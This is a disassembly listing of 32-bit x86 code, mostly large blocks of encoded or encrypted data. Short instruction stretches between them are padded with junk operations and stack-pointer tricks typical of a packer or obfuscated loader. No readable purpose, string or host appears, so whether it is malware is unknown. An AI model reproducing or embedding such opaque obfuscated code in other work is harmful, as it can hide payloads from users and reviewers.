dd 7DF4033Bh, 8B6694BEh, 4895EF3h, 498D8D24h, 6A06031Fh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 596AC355h, 11E95Eh, 0FD420000h, 0ECCC53Eh
dd 2B0C1371h, 0D60993A6h, 91A30067h, 9B92BE66h, 11E950h
dd 0F8DF0000h, 0B794E22Bh, 0B7788DC0h, 7FAB7544h, 91475734h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 71C35242h
dd 0AAF980B4h, 398501F0h, 6A060301h, 68F38B04h, 0B8C71037h
dd 481F28Bh, 38FFC924h, 6D858947h, 0FF060330h, 30121B5h
dd 0DB53106h, 0FF060309h, 858D01D0h, 8B06030Ch, 30121BDh
dd 0DBBE6606h, 3C7F032Ch, 12860Fh, 0DE90000h, 0C2000000h
dd 19C368EFh, 6F3602CCh, 0E4F7692Fh, 0F8C781h, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 0AF8FE2C3h, 0B16C3446h, 47C7006Ah, 2024h, 52006A60h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 2756662Dh, 0BD8340FBh, 60A4FD5h, 40840F00h, 6A000001h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h
dd 47000000h, 8320C357h, 0BAE34B8h, 2960C05Ch, 31249BDh
dd 0C7836106h, 0AD8EBE28h, 7C768DAh, 64696A2Eh, 2EB1950Bh
dd 47C70603h, 61746104h, 51958B00h, 8B06030Ch, 0A4FDD85h
dd 95958906h, 89060306h, 8BF90C47h, 0A4FE185h, 21953306h
dd 89060310h, 6A0847h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 170424h, 52420000h, 0A213FFC3h, 28C78385h, 2D43DE81h
dd 7C75CD6h, 6E6F632Eh, 3289BD29h, 47C70603h, 67696604h
dd 6E800h, 44090000h, 0B9DED757h, 38B0Fh, 8B660000h, 858B5AD1h
dd 60A4FD9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 17h, 0FAC35141h, 89349469h, 6A0C47h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 999A8AC3h
dd 1AAF7307h, 8919D9DDh, 312E985h, 0D5858B06h, 6A060A4Fh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h
dd 45000000h, 890FC355h, 3232D9Dh, 4789F506h, 89B50B08h
dd 5806031Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 55C35040h, 0D6816626h, 8D8DB444h, 6030471h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 1AC35545h, 85B58BC1h
dd 9106030Bh, 0BE50D38Ah, 431E6A79h, 830F91h, 0FF000000h
dd 31F49B5h, 0D3B70F06h, 0BBB468h, 1D31BAA8h, 4810888h
dd 0FF544C24h, 21B5FF57h, 8B060301h, 3094995h, 89D0FF06h
dd 31E3D85h, 0D0BF0F06h, 0B8h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 42570952h
dd 21958906h, 5006031Ah, 0B5EF78Bh, 33840FC0h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h
dd 46000000h, 0D7A2C356h, 1341B5FFh, 21BE0603h, 0FF6298EEh
dd 3269195h, 0CA816606h, 0C08BD39Fh, 1039BD83h, 75000603h
dd 1DBD8309h, 60311h, 53501974h, 2DB8C08Bh, 89000004h
dd 3239185h, 0F89D8D06h, 0FF0605B0h, 83585BD3h, 3111DBDh
dd 17740006h, 2DB85350h, 89000004h, 3239185h, 999D8D06h
dd 0FF0605ADh, 0F585BD3h, 0B8Fh, 0F2816000h, 299FF383h
dd 61F2EB80h, 0AD9FE681h, 8B666C5Ah, 0C34FBAD6h, 0C08B6186h
dd 22E9B501h, 0C08B0603h, 5C0A04EBh, 0C3E92A1Bh, 95000005h
dd 1EE3E106h, 8D10747Dh, 3F82C6EBh, 0AF325657h, 0C1A321CAh
dd 0AAF4016h, 9E1FF346h, 6C9567CAh, 0FD029578h, 78D0D6EFh
dd 710498DFh, 4A0DAB5Dh, 9BEC4B87h, 0D95AD614h, 4A2432Ah
dd 7F698E61h, 38FE8E6Ah, 4523C855h, 26AA4F20h, 513BBC53h
dd 0C48429CCh, 5B179C79h, 0C3FD62B8h, 0F89EB6C5h, 61CC99F3h
dd 7A1EE38Bh, 0E68E1375h, 180487C1h, 0D234AF4h, 35DBAAD9h
dd 3389DC8Ch, 12FCB75Eh, 0E8E17366h, 0AF697FCAh, 5CBC55F5h
dd 5500770Eh, 0C3E88ADFh, 440F4A7h, 0B47733A1h, 33C15438h
dd 9F73DE8Eh, 2F054E1Eh, 28D1A3FBh, 0DB74D48Eh, 46770E7Eh
dd 0E7E69E2h, 100D777h, 278ADE5Ah, 39C25750h, 74123A52h
dd 0B6770E7Eh, 0CACD27F8h, 0D55BEBDCh, 0E2FDC75h, 2EB52077h
dd 54D0D9BBh, 20243C60h, 83996C91h, 23E861C9h, 1733770Eh
dd 770E237Eh, 0A93C17C2h, 3DAF543Ah, 68CECCA8h, 69000000h
dd 2AA2432Ah, 0EF08702h, 43978577h, 6D524F55h, 10899h
dd 1AB0000h, 8864896Ch, 0F99318E5h, 6A628714h, 8213F2ACh
dd 527A6F79h, 770EF0B9h, 0B1D45007h, 9B0D8DDh, 0C1E98E51h
dd 0DFC7D24Ah, 0AFF0FE5Bh, 0DE5AFB11h, 4D7B6DAh, 12B55E3Ch
dd 8AD4D48h, 0AC2505BDh, 10770E3Dh, 0F99AEF45h, 66099CF0h
dd 1500341h, 0F06AE347h, 99B1770Eh, 770EF100h, 23B6E97Ch
dd 0A22ACFACh, 53244927h, 0F034AD7Dh, 0DD88770Eh, 0EA8B1676h
dd 620487C1h, 9ECEEF83h, 0CDF684CBh, 4E72CE9Bh, 0AAF401Ah
dd 9B1CF346h, 998A6CF1h, 6365F0F5h, 97F1F69Eh, 0D0A7640Ah
dd 5D28BD2Fh, 2B7FB30Bh, 92798213h, 2F095DC3h, 996D4C25h
dd 60C2h, 452A7D00h, 0A00FB044h, 0EB34528h, 3559D75Eh
dd 5B179C7Dh, 65C3E88Ah, 2EDBBC01h, 0B1DBA647h, 25A7482Ch
dd 0F994B864h, 0F072EB3Fh, 81A9770Eh, 770EF108h, 3BAEE174h
dd 4C7E76BDh, 4379996Dh, 0FA000000h, 2CBC452Ah, 700EB341h
dd 0F0F992B6h, 9047770Eh, 19971CFDh, 1145F971h, 5D33B859h
dd 0A0492A26h, 6C956706h, 0B250F890h, 74770EF0h, 80849CC0h
dd 23996D52h, 79231870h, 0A90714A4h, 1B3h, 442ACC00h, 0F043DC6Ch
dd 0D2B9770Eh, 0D9712B47h, 770EF040h, 3B5329BCh, 0AE3EBF56h
dd 83DB0F25h, 565B3CEDh, 80C45336h, 7DCD9CE7h, 770EF0E4h
dd 37DE8D58h, 24B3D6B6h, 0FF94BE8Ah, 5F0A7511h, 48C16923h
dd 0B4710BDFh, 5E234B21h, 0CF5236B7h, 3DC58728h, 710BDFA2h
dd 5434BD52h, 0CA8227C9h, 966C9567h, 0A0D87AAEh, 0B84D386Ch
dd 3459D7D8h, 0A5085C61h, 0D6BB2DD2h, 7D2EBE3Fh, 1DF093C7h
dd 94F9777Ch, 5BE8FC01h, 936A4141h, 1A33Eh, 85F0B900h
dd 0E1FF4B67h, 38751208h, 47B63467h, 85D0FB0h, 4F033E77h
dd 527A9F7Bh, 12EE7565h, 7B0AA433h, 6D781099h, 836AF797h
dd 92F0F1A8h, 0AA978E3Ah, 34D73BC8h, 4E02E974h, 0F99314FBh
dd 6C7C8114h, 886EFFBFh, 807C6963h, 3FD668BCh, 0C144DD6Dh
dd 0D5B8710Bh, 44D3BE43h, 22D9E300h, 3BCA936Ah, 0A93CAC55h
dd 5FC9D3h, 0F5AF0000h, 0BCDBC55h, 4550071h, 14B9BB28h
dd 0BA39B762h, 486686F0h, 0F021BA8Eh, 42D3770Eh, 75F366B9h
dd 0F0A6EF3Bh, 0CF9A770Eh, 0F0DC759Dh, 0B383770Eh, 65830D6Fh
dd 1EB7934Dh, 62770EF1h, 0F66FBBF7h, 4A770EF0h, 0AD67219Fh
dd 0AA4835D8h, 0EE3EBA01h, 770EF0A5h, 4598CC9Bh, 0D8h
dd 8F6C01F8h, 8967626Ah, 1D55533Eh, 1214430Dh, 3A523975h
dd 35C7C057h, 0B702A774h, 0D1BB3CD0h, 0D6BB29B4h, 62EBE3Fh
dd 710BCC16h, 31499D51h, 28CDA15Eh, 0A5E25A0h, 0DA94127Dh
dd 49C26620h, 0B7710BCBh, 29A28620h, 97710BCBh, 1D4464C0h
dd 836F0594h, 0BE5F482Ch, 533EAE35h, 355038C1h, 2489C3AEh
dd 22C75451h, 38503FAAh, 0A923C855h, 0D9B334C4h, 0C7779B9Bh
dd 0AE7A3466h, 77057335h, 86A2DC8Bh, 7705740Dh, 3408E473h
dd 7FCB85E0h, 770573E6h, 277E7F16h, 8B34B0h, 7D4E2C28h
dd 4AD1FBFEh, 7E6F6B2Ch, 8ED3D4A4h, 38B4BCFDh, 5421C47Eh
dd 0CCA83DAFh, 0FF78B5FCh, 0C2FC6B74h, 0D8A72008h, 0D672710Bh
dd 710BD83Dh, 6EFDD483h, 7A12937Bh, 86FD916Fh, 4B6785F0h
dd 4CE7D2BAh, 0D34BDD2Fh, 0DD9B11FCh, 811264Dh, 65379A75h
dd 13A8B696h, 563D4C9Eh, 84C45336h, 19515639h, 3A52CB5Fh
dd 3BAE7104h, 0B14429BDh, 0B2B45C0Ch, 0C454F539h, 72DF8932h
dd 0E40DE29Bh, 28044F19h, 1D135AE4h, 0D9DEB1C9h, 0AE4F268Bh
dd 595783Eh, 8D6104E0h, 0F99D6068h, 3C8A0327h, 63F64CF3h
dd 8C69F494h, 7EA66567h, 5B03E82Ah, 3D1089A1h, 0F96C4CF3h
dd 53EB3F03h, 0C0553BBCh, 1FEE882Dh, 92FA7677h, 37Fh, 80038600h
dd 26A6472Ah, 5933B45Bh, 0CB9D26F4h, 7B6D9266h, 90F80196h
dd 5476C0Dh, 0B9D3D4B8h, 2FB942D4h, 4008B142h, 4F14680Bh
dd 1C890000h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edi
push 60A58BFh
mov eax, [esp]
add esp, 4
push esp
mov edi, [esp]
add esp, 4
push esi
mov esi, eax
push ebx
mov ebx, 8
add ebx, edi
mov [ebx], esi
pop ebx
pop esi
mov edi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
mov eax, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_5439D9
; ---------------------------------------------------------------------------
db 0E1h, 0B8h, 1
dd 3060A5Eh, 83E0FFC5h, 0C472A9DEh, 0E375CF26h, 0A66C83E6h
dd 1B5DEDA4h, 6E397570h, 691074C4h, 0C04C15AAh, 0CF7C8314h
dd 0B26383B6h, 210BCF4h, 2C7F4D0Dh, 7F464ED3h, 0CF34DB42h
dd 0FB6C4799h, 6835A7BDh, 5F06E322h, 0E662C22Eh, 0E657B310h
dd 0CF7149CDh, 0F8722AE4h, 0BB3F67BEh, 8A4D1E9Ah, 8D4D9D00h
dd 0A5FB48Dh, 0E9B58B06h, 89060311h, 331D18Dh, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
dd 0C777B743h, 301E185h, 58C406h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 29EE580Ah
dd 31CCD8Dh, 0BD85C706h, 60321h, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 8666C357h
dd 6D56BE66h, 21B5BD29h, 0B5FF0603h, 60313E9h, 1CB98589h
dd 95FF0603h, 6032691h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 15h, 1EC35646h, 0DD9D8B2Ch, 8B060305h, 0FF006AC3h
dd 31FB995h, 0EBC08B06h, 62A14A1Eh, 0FAB37DD3h, 0E43609B3h
dd 0A2F3F6F8h, 7FE2ECA5h, 6B534FE5h, 0CB39ED64h, 0EB444B1Fh
dd 6D98C04h, 5B6E92Eh, 29C80000h, 0A07DC084h, 0EE0751Bh
dd 7A12E7E5h, 0ED821775h, 0F32280C4h, 0BB29D2A7h, 2FBD42D6h
dd 5D33B85Ah, 0CC8025C8h, 0BC55F5B5h, 710491h, 432AF370h
dd 0B2472AA2h, 1FF65B09h, 8C63CE9Eh, 0FF9C616Bh, 6D681330h
dd 0E5D44DDh, 8C2DB877h, 44D3D098h, 73A79D04h, 3D53543Bh
dd 0A321CAA8h, 76EF3BF5h, 0CA770EA4h, 0A4E37CCCh, 0B259770Eh
dd 56244927h, 0C2563BADh, 32C6AB3Dh, 9F76DB8Dh, 2F054E1Eh
dd 0D2D25BFBh, 670EDF8Eh, 0E5430646h, 9BC9F280h, 205E5F36h
dd 0A449C266h, 20B7770Eh, 1705B69Fh, 9814834Fh, 72AA28F0h
dd 0B87C770Eh, 0D4788C94h, 712B996Ch, 92FAFF9Ch, 7E3CD5F7h
dd 0D580770Eh, 6A7D5Fh, 813B0000h, 0A3E50EECh, 770E7E2Ah
dd 0EE65C396h, 2AA2432Ah, 1778AB6Ch, 0CB696039h, 9EC25D6Dh
dd 0D64A770Eh, 8E9682h, 149996Dh, 0EA000000h, 28A0492Ah
dd 0BCF9B845h, 95D0A570h, 71DC8C1Bh, 8F5E189Dh, 56573FE8h
dd 68C481CBh, 0D5DABD00h, 0A0492EB3h, 0F8827728h, 1F075CE3h
dd 389ACE76h, 0D76FB371h, 5A2FBD46h, 255E32B3h, 2CBC452Ah
dd 0F3F49B6Ah, 0F0FA93B7h, 9346770Eh, 1EA37015h, 3367DD4Eh
dd 7F6D967Bh, 64B51EC1h, 0CC9CA516h, 79F7FC99h, 6C7C8114h
dd 82CAEF81h, 0EFC91D03h, 996CC4E5h, 7E82h, 452A3D00h
dd 0AF412CBCh, 0F7996C0Ah, 0FB94B4F2h, 41770EF0h, 0C74E1E9Ah
dd 8C6D2569h, 0FB9C6167h, 9EE7B8F6h, 78CE0F1Ch, 927F0FE5h
dd 1ABDF5FAh, 0F8BB326h, 0A8C0BCACh, 0E29E41F9h, 0C8874F5Fh
dd 386C502Ch, 6D093438h, 0FC9E6F99h, 74F095F7h, 6166h
dd 452A9100h, 0A96A2CBCh, 43707631h, 0F8506EDDh, 770EC85Fh
dd 0DFB20EDDh, 6AB4C3Dh, 911AFB46h, 552DBF0Ah, 5C3D7599h
dd 2A423157h, 28A049h, 770EF082h, 0B4D4D9BCh, 28A04529h
dd 3F9FC361h, 0C1CD690h, 770EF093h, 0B28662E9h, 52728A6Eh
dd 7731996Dh, 0EE43AD3h, 55D38677h, 147h, 4701F000h, 0EF06AE3h
dd 6703D677h, 0EF04AC3h, 4523B677h, 0BF5D4E20h, 28CF523Ah
dd 3580C587h, 9B7D10AEh, 4E137616h, 1558B25Bh, 88E05CD9h
dd 16977F0Eh, 0F0951376h, 8BF0981Dh, 4B2D65A9h, 0AB36B75Eh
dd 5CF5550Fh, 0A0770E3Ch, 34AD7D35h, 88770E3Ch, 640367DDh
dd 67E04819h, 0D5770E3Ch, 45FFBB06h, 3C26BF8Bh, 0CF9A770Eh
dd 3CFE97B3h, 9742770Eh, 4C073119h, 0E6757511h, 525725C8h
dd 0B9D1AF3Ah, 28BC41D4h, 10D5AD6Eh, 0BB8910D4h, 20C5A83Dh
dd 6F0580A8h, 583F710Bh, 0C6A83557h, 4EE2AB3Dh, 0CC0B81Ah
dd 0CEEF86D8h, 0A7491C9Ah, 0AAB4F02h, 0C4A90742h, 0E68E5F31h
dd 6E4EC7C1h, 27B2710Bh, 0CAAD3058h, 77D38D25h, 710B6EDEh
dd 0C2E77D22h, 0F26DAB02h, 22E18967h, 194AEF2h, 5F2EE8FCh
dd 88BB31BAh, 93696C74h, 31B65E2Fh, 5434BD52h, 37A1BB31h
dd 0D2000001h, 4B6785F0h, 1208E1FFh, 0C0885F75h, 77159A7Dh
dd 0CCEA0BE2h, 3A525739h, 0D4B9D1AFh, 4802BC41h, 0BC867E0h
dd 0AA06D571h, 8FD341C2h, 465520F7h, 8F5F23C6h, 9053319Ch
dd 9369DC8Ch, 714Bh, 86F0F400h, 97E04866h, 85770EF0h, 23F598D6h
dd 8F63CE9Eh, 9C6B7E6Eh, 27A04820h, 36770EF0h, 782DA374h
dd 5D371E44h, 2D8FD3E7h, 6A2D4563h, 0A07EC635h, 0F3AD0B71h
dd 32AB7F39h, 0C2770E04h, 0DD888B30h, 50C85A5h, 0E570770Eh
dd 4D63F0Fh, 6A2D770Eh, 0B93CEBF7h, 0BD941037h, 2FB93ED6h
dd 0C0932FBAh, 0ED0ADh, 0B9CDAB4Eh, 85A4h, 85F0DF00h, 15FF4B67h
dd 0B751214h, 0CEA10C5Ch, 3FD6BB29h, 0AE682EBEh, 0BCC019Ah
dd 0CE87F71h, 0BCC2C3Ch, 5387BB71h, 0FCB66F30h, 0FA93ABF7h
dd 4799F18h, 5CD8A752h, 698B6609h, 0E05EC81Ah, 3D4A1EE5h
dd 24C9AC52h, 0BE2ED3A1h, 6225C2Bh, 6F04DF30h, 4CD1BB2Eh
dd 0F94404A9h, 14F99318h, 866B7D86h, 7ABACBF0h, 2D07E456h
dd 13FB8AF9h, 0DEA91692h, 11D5900Ah, 10FFA6DCh, 18FCF256h
dd 0EF7A74FFh, 85F0FAF9h, 9FF4B67h, 607508BAh, 920982A6h
dd 0E0777104h, 0BE2D04h, 23BC8C46h, 99710491h, 9141DAF2h
dd 28BF7104h, 0EB7A3C4Ch, 87E2A09h, 0C2BD9903h, 0F4701577h
dd 6F01FE91h, 10C3FF4Ah, 0D1E84497h, 8824328Ah, 0F5D3B24Dh
dd 40FE926Eh, 0A12BD0ADh, 2ACFA124h, 53543B4Eh, 1CA57617h
dd 0CBA3194Ch, 0F8CD6D23h, 0B9ED4358h, 7D110EE1h, 7E069FABh
dd 0EF7A4908h, 18E54800h, 2BB90493h, 0DEC4AF46h, 0EC11E526h
dd 33C8E9FCh, 2BD0A644h, 0F25924A1h, 5E5F379Ah, 3B6F450Eh
dd 656B8C63h, 0BEF8FD90h, 27A14A2Fh, 0ABA6C6A2h, 3, 2A8003CAh
dd 5B26A647h, 0F45933B4h, 66CB9D26h, 967B6D92h, 0D90F801h
dd 0B805476Ch, 0D4B9D3D4h, 422FB942h, 0B4008B1h, 81E38953h
dd 4C3h, 4EB8300h, 5C241C87h, 68240489h, 24AFh, 68242C89h
dd 70CAh, 68240489h, 3957h, 0B9240C89h, 1194DB9h, 8108E9C1h
dd 9C7AF1E9h, 0C1814132h, 38A5C185h, 5459CD89h, 8324048Bh
dd 515504C4h, 5D7481B9h, 244C3106h, 408F5904h, 8708108h
dd 65D7481h, 582434FFh, 4C481h, 2C8B0000h, 0E0895024h
dd 405h, 4C08300h, 5C240487h, 0F917D8E9h, 0A6C600FFh, 8E0B9040h
dd 25C7CE24h, 0A650CB8h, 0FFC50306h, 39B93EE0h, 0B7B78456h
dd 0E602572h, 78A42C4Bh, 0B5152829h, 0B78D8D71h, 6A060A66h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h
dd 45000000h, 2BBCC355h, 0D45FE636h, 2251BB75h, 8BD6BF0Fh
dd 8DBD89FEh, 89060302h, 331D18Dh, 2DB50106h, 66060331h
dd 49E8C681h, 1E185C7h, 62F00603h, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 170424h, 55450000h, 74549AC3h
dd 0BD85C74Dh, 60321h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 7B61C352h
dd 29F4D604h, 300058Dh, 0F1B5FF06h, 6A06031Ch, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 8BE6C355h, 326BDBDh, 9195FF06h, 6A060326h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h
dd 40000000h, 0E053C350h, 607C4C45h, 8AD08B66h, 958B61D4h
dd 603038Dh, 95FF006Ah, 6031FB9h, 0DEBC08Bh, 0BE98090Dh
dd 0DFC1A589h, 897F16D7h, 8E854h, 225B0000h, 0A2E0FA2Eh
dd 0C18A8984h, 8B0F5Eh, 81000000h, 65EAC6h, 0BA666000h
dd 8B66CB5Dh, 0FF3361F3h, 2D59BD09h, 148B0603h, 858B573Eh
dd 6032EE1h, 11EA8159h, 804CA48Dh, 0EA81DEDCh, 32C3EB27h
dd 0BE9h, 64D57000h, 28CF16A7h, 50689648h, 24CC281h, 0BD891A94h
dd 6033265h, 313E1489h, 31B6DB5h, 7B86606h, 3EF83CAh, 1BD99D8Bh
dd 0B84F0603h, 195EDB10h, 9ABCFF81h, 850FFFFFh, 12h, 1DE9DC8Ah
dd 61000000h, 3B008F8Dh, 0F1D7A00Dh, 0E9F829C4h, 0FFFFFF8Ah
dd 0F8B42962h, 0D3B952A6h, 0F9005D62h, 0C08Bh, 1ADh dup(0)
dd 810F6000h, 2, 56B90BB7h, 6174AC9Bh, 6A9DF5h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 0A05597C3h, 3E91644Fh, 14E971h, 0ACAE0000h, 4892FEBAh
dd 5C51CD80h, 27CC0C06h, 0B55D49C1h, 6060FC33h, 5F576160h
dd 44E38061h, 6A6161h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 0DEF5DEC3h, 0F605DCFh, 58Bh, 0E1816600h
dd 0BF0F289Eh, 440161C8h, 810F0824h, 8, 2840Fh, 61600000h
dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h
dd 0C3504000h, 0B4624834h, 601E76BBh, 0CD80FE8Bh, 11E961BFh
dd 30000000h, 0ED2BA960h, 0FA4C4E6h, 1DBD8A80h, 32E518A8h
dd 6AC39Dh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
dd 50400000h, 0FE77CC3h, 1380h, 8E96000h, 57000000h, 0CD7B983Ch
dd 667DBD2Ah, 616DB7BFh, 1A8A0Fh, 8C0F0000h, 14h, 0FE9h
dd 1ACD6B00h, 81A906F3h, 0A6DF0AD3h, 0F3BC1Fh, 0D98B60F5h
dd 12E9h, 294F1B00h, 320D8D3Fh, 5D52821Ah, 0F9A7DDB0h
dd 61DF3E37h, 8B9C08Bh, 0E974B61Bh, 8, 0F994FC41h, 0CFACD916h
dd 0E9CE8B66h, 0Fh, 366CE3AAh, 0E5AF4421h, 0C70BA7BFh
dd 0E980EA18h, 14h, 5BB442EDh, 0D82379Dh, 4F03D01h, 0D76BD4B5h
dd 0B41C6792h, 830F17B0h, 2, 0F5BFE38Ah, 5302333Dh, 58E0Fh
dd 81660000h, 598EE3C0h, 81666060h, 6166EFE7h, 6E8h, 86050A00h
dd 66755D89h, 6159D88Bh, 9EF8166h, 0C68BF5A9h, 0C869F281h
dd 8B6029B0h, 0F861F8C6h, 0CE860h, 12F70000h, 98CC4F18h
dd 0E492422Bh, 7E8D464h, 0DA000000h, 2DDAD28h, 5858605Dh
dd 3B9EA81h, 81610BD8h, 0AC7574CBh, 13E906h, 8C870000h
dd 761A8E29h, 58139D9Fh, 0EA1BA201h, 0B531B021h, 4820FFFh
dd 66000000h, 0E9A5C4BEh, 6, 90CC474Dh, 8B668527h, 0FCDB5C8h
dd 88Eh, 2860F00h, 60000000h, 0D3816661h, 10E9D1C7h, 84000000h
dd 563E9C10h, 3B703CEFh, 4751861Dh, 0FA4FDC0h, 28Dh, 0FCF8B00h
dd 0F52D7BFh, 0F5AF0BFh, 58Dh, 5F1BB00h, 6E957DFh, 36000000h
dd 784922ACh, 10E833h, 5C550000h, 0E9D90D6Ah, 0B326999Bh
dd 595BC075h, 8B66F78Dh, 9E95ED3h, 4D000000h, 238199BCh
dd 0D9838F86h, 8AF78B66h, 0F98B66ECh, 0A8C88166h, 0AE480CEh
dd 38F0Fh, 8B660000h, 0F3F380D0h, 0E9D8B70Fh, 0Ch, 176883D0h
dd 0F40694B3h, 82B07C96h, 81B9F88Bh, 6602C8F6h, 4474EB81h
dd 6870Fh, 0F9600000h, 61C88B66h, 9820Fh, 60600000h, 0DA816661h
dd 0F6140ACh, 386h, 0DABF0F00h, 28A0Fh, 0DA8B0000h, 0BB66F98Bh
dd 0D881D8A6h, 5EE75309h, 870Fh, 8F0F0000h, 3, 0E9CF8B66h
dd 9, 784AEADAh, 0F04E443Ah, 0DA81668Fh, 12E8BCC6h, 9F000000h
dd 4A9FED1Ah, 2043209Bh, 4992795Bh, 6FEC608h, 0E48058CEh
dd 9E9F804h, 0D6000000h, 13C0FD84h, 212B4D6Dh, 66FBB70Fh
dd 0F6F27BBh, 0CE8AD6B7h, 0CE9h, 3C007A00h, 0EB1B2913h
dd 272DCC52h, 0C6BF0F18h, 0DAF38060h, 0AE9h, 10C31100h
dd 31F88585h, 61CC474Dh, 0FF9D88Bh, 784h, 3BBA5700h, 583A519Dh
dd 8B66CA8Bh, 0FCDE8BFAh, 0DE9h, 9086DA00h, 5889DBD1h
dd 542A8AA7h, 0E8F8E2C4h, 0Ch, 55B70F91h, 1B3A2940h, 0B4270982h
dd 5E8h, 3A2D7100h, 9B7EF27h, 0D5805E5Eh, 0DE8ACh, 2150000h
dd 0C4D1E365h, 0D3697389h, 0E9922452h, 7, 0BCE2C35Bh, 5F1407A4h
dd 0BE856h, 0D74C0000h, 0B293A1FDh, 183F79Eh, 0CE8166DBh
dd 5F58E113h, 6850F60h, 0F000000h, 84h, 8B666000h, 8B966D7h
dd 666161BBh, 665390BEh, 0E9B8EBB9h, 0Ah, 9CE86986h, 284FB496h
dd 8B66A9C8h, 7BF580FAh, 8123E880h, 857C6FC0h, 12E9F902h
dd 0C5000000h, 61AFC009h, 84FA0AA4h, 5927D4A1h, 83A3B6F1h
dd 5E90Dh, 0D4AC0000h, 60E6D980h, 0FD18B66h, 0E961FABFh
dd 0Dh, 0C5FDD3E2h, 304A1289h, 0C71C48FEh, 0DF816613h
dd 0BE9DC0Dh, 54000000h, 9C0A7E40h, 0DD20B538h, 0B8661F97h
dd 0DB80862Fh, 0BE66601Ch, 8C0F6ABFh, 6, 0C3D6C681h, 66612312h
dd 5D23C781h, 0A8C0Fh, 8A0F0000h, 4, 9695B866h, 8B665160h
dd 870F5BF1h, 0
dd 3820F61h, 66000000h, 0B70FC28Bh, 0D1B70FC1h, 24CA8166h
dd 71BF6601h, 66D88BB5h, 0E8CA59BEh, 12h, 562198B2h, 0BA04DF38h
dd 0CE62566h, 2115E12Ch, 0B450F3E9h, 53585A8Ah, 0B8E0Fh
dd 6E90000h, 28000000h, 0FDD15AFAh, 816659CBh, 0FC722EEh
dd 585h, 0F06EBB00h, 0F9601268h, 8880F61h, 53000000h, 800Fh
dd 8B5E0000h, 10E9C8h, 0DE760000h, 4497FC0Ah, 557BC0D5h
dd 8F40CBACh, 0D38B721Dh, 0C4EECBBEh, 0FFD4B96Ah, 0E8F8125Ch
dd 13h, 0F07563F7h, 7305B94Ch, 20426125h, 165E48E0h, 52C82EE0h
dd 0FE9h, 52DE4E00h, 16AB2681h, 56E10FEBh, 3C05E8F8h, 5E85B5Bh
dd 0CA000000h, 82B7F6D4h, 0C568B951h, 5A597C90h, 56E68166h
dd 0FA8B66AAh, 0DBF022BAh, 5820F19h, 0B9000000h, 278A2689h
dd 52F2D880h, 0EE9h, 0C0843B00h, 807D810h, 0FB4D6C4h, 58AFF110h
dd 58E0Fh, 81660000h, 57ACC5E3h, 0AFAFD781h, 0F5A41F9h
dd 18Dh, 0CE81F500h, 1FD14EE3h, 0B4D9BF0Fh, 8ABDBE91h
dd 51503E06h, 5A586160h, 0B2D98B66h, 0F38B66FAh, 88D0Fh
dd 810F0000h, 2, 0DE95957h, 13000000h, 8F1AF1F5h, 0FB8506D7h
dd 0B5BB096Eh, 6992B966h, 8E9h, 14354E00h, 157B8026h, 66FA8B83h
dd 968DE381h, 9B9AB966h, 5E9h, 4E42CF00h, 81666A26h, 8B343DCAh
dd 0AEC881DEh, 6605CB0Bh, 7723F381h, 988ACE81h, 0C38B16F4h
dd 7860Fh, 0BB560000h, 1657D804h, 0EAD9805Ah, 0A830Fh
dd 0BE600000h, 21817F90h, 6126F280h, 860F7BB7h, 10h, 8E9F560h
dd 0CE000000h, 16EA5EF4h, 6162DB94h, 0DDA9D4B9h, 92D0813Eh
dd 601B7FC1h, 13E8h, 51943400h, 31AA7065h, 0B36461EFh
dd 56630233h, 3CCA78FAh, 1782EA81h, 665E3897h, 5361D38Bh
dd 582ADC80h, 800Fh, 81660000h, 0E977DBD2h, 0Bh, 0A720DFB4h
dd 65871D82h, 53AAFD16h, 0A6C68166h, 5E85A01h, 0A2000000h
dd 76F0DF04h, 10F1D5BBh, 0B8665B06h, 0BF0FF79Eh, 0F60B1C3h
dd 381h, 0F38B6600h, 11E9h, 8EFE200h, 4DD18ABCh, 36E0CEE7h
dd 0BE655F3Dh, 0BE66D9CCh, 0D98A139Ah, 0F9C3BF0Fh, 14890Fh
dd 0FE90000h, 46000000h, 0A3A4A869h, 0D0F10B29h, 0F992C93Dh
